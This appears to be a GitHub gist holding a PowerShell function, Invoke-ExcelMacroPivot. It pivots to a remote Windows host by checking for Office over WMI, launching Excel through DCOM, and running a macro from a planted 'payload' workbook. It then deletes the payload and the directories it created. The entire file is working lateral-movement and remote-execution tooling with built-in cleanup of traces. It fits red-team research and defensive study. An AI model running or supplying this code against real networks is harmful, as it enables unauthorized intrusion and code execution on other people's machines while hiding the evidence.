| function Invoke-ExcelMacroPivot{ | |
| <# | |
| .AUTHOR | |
| Matt Nelson (@enigma0x3) | |
| .SYNOPSIS | |
| Pivots to a remote host by using an Excel macro and Excel's COM object | |
| .PARAMETER Target | |
| Remote host to pivot to | |
| .PARAMETER RemoteDocumentPath | |
| Local path on the remote host where the payload resides | |
| .PARAMETER MacroName | |
| The name of the macro residing in the payload document | |
| .EXAMPLE | |
| PS C:\> Invoke-ExcelMacroPivot -Target "192.168.99.152" -RemoteDocumentPath "C:\Book1.xlsm" -MacroName "Auto_Open" | |
| Executes the "Auto_Open" macro from C:\Book1.xlsm on the host 192.168.99.152 | |
| #> | |
| [CmdletBinding()] | |
| param( | |
| [Parameter(Mandatory=$True, ValueFromPipeline=$True)] | |
| $Target, | |
| $RemoteDocumentPath, | |
| $MacroName | |
| ) | |
| $32BitPath = "\\$target\c$\Windows\System32\config\systemprofile\Desktop" | |
| $64BitPath = "\\$target\c$\Windows\SysWOW64\config\systemprofile\Desktop" | |
| #Connect to remote host via WMI for reg enumeration | |
| try{ | |
| Write-Verbose "Connecting to StdRegProv on $target" | |
| $remoteReg = [WMIClass]"\\$target\ROOT\default:StdRegProv" | |
| }catch{ | |
| throw "Could not connect to StdRegProv" | |
| } | |
| try{ | |
| Write-Verbose "Getting OS Architecture of $target" | |
| $OSArch = @(Get-WmiObject -ComputerName $target -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth | |
| }catch{ | |
| throw "Could not get OS Arch." | |
| } | |
| #Check if Office is installed | |
| $hklm = [uint32]'0x80000002' | |
| $OfficeResult = $remoteReg.CheckAccess($hklm, 'SOFTWARE\Microsoft\Office',1) | |
| function Local:Prep-Target{ | |
| if ($OSArch -eq "64") { | |
| try { | |
| Write-Verbose "Creating both 32 and 64 bit Profile directories" | |
| [system.io.directory]::createDirectory($32BitPath) | |
| [system.io.directory]::createDirectory($64BitPath) | |
| } catch { | |
| throw "Unable to create directory" | |
| } | |
| } elseif ($OSArch -eq "32") { | |
| try { | |
| Write-Verbose "Creating 32 bit profile directory" | |
| [system.io.directory]::createDirectory($32BitPath) | |
| } catch { | |
| throw "Unable to create directory" | |
| } | |
| } else { | |
| throw "OS Arch not determined" | |
| } | |
| } | |
| function Local:Cleanup-Target{ | |
| if ($OSArch -eq "64") { | |
| try{ | |
| Write-Verbose "Deleting both 32 and 64 bit profile directories" | |
| [system.io.directory]::Delete($32BitPath) | |
| [system.io.directory]::Delete($64BitPath) | |
| } catch{ | |
| throw "Unable to delete directory" | |
| } | |
| } elseif ($OSArch -eq "32") { | |
| try{ | |
| Write-Verbose "Deleting 32 bit profile directory" | |
| [system.io.directory]::Delete($32BitPath) | |
| } catch{ | |
| throw "Unable to delete directory" | |
| } | |
| } | |
| try{ | |
| Write-Verbose "Deleting payload from $RemoteDocumentPath on $target" | |
| $UNCPath = "\\$target\c$\" + $RemoteDocumentPath.Replace("C:\","") | |
| [system.io.file]::Delete($UNCPath) | |
| } catch { | |
| throw "Unable to cleanup payload" | |
| } | |
| } | |
| If ($OfficeResult.BGranted -eq $True) { | |
| Write-Verbose "Prepping $target" | |
| Prep-Target | |
| Write-Verbose "Activating Excel.Application on $target" | |
| $Excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application",$target)) | |
| Write-Verbose "Opening payload" | |
| $WorkBook = $Excel.Workbooks.Open($RemoteDocumentPath) | |
| Write-Verbose "Executing Macro $MacroName from $RemoteDocumentPath" | |
| $Excel.Run($MacroName) | |
| $WorkBook.Close() | |
| $Excel.Application.Quit() | |
| $Excel.Quit() | |
| [System.Runtime.Interopservices.Marshal]::FinalReleaseComObject($Excel) | |
| Write-Verbose "Sleeping 10 seconds for FinalReleaseCOMOBject() to finish" | |
| Start-Sleep 10 | |
| Write-Verbose "Cleaning up $target" | |
| Cleanup-Target | |
| } else{ | |
| throw "Office not installed on target" | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment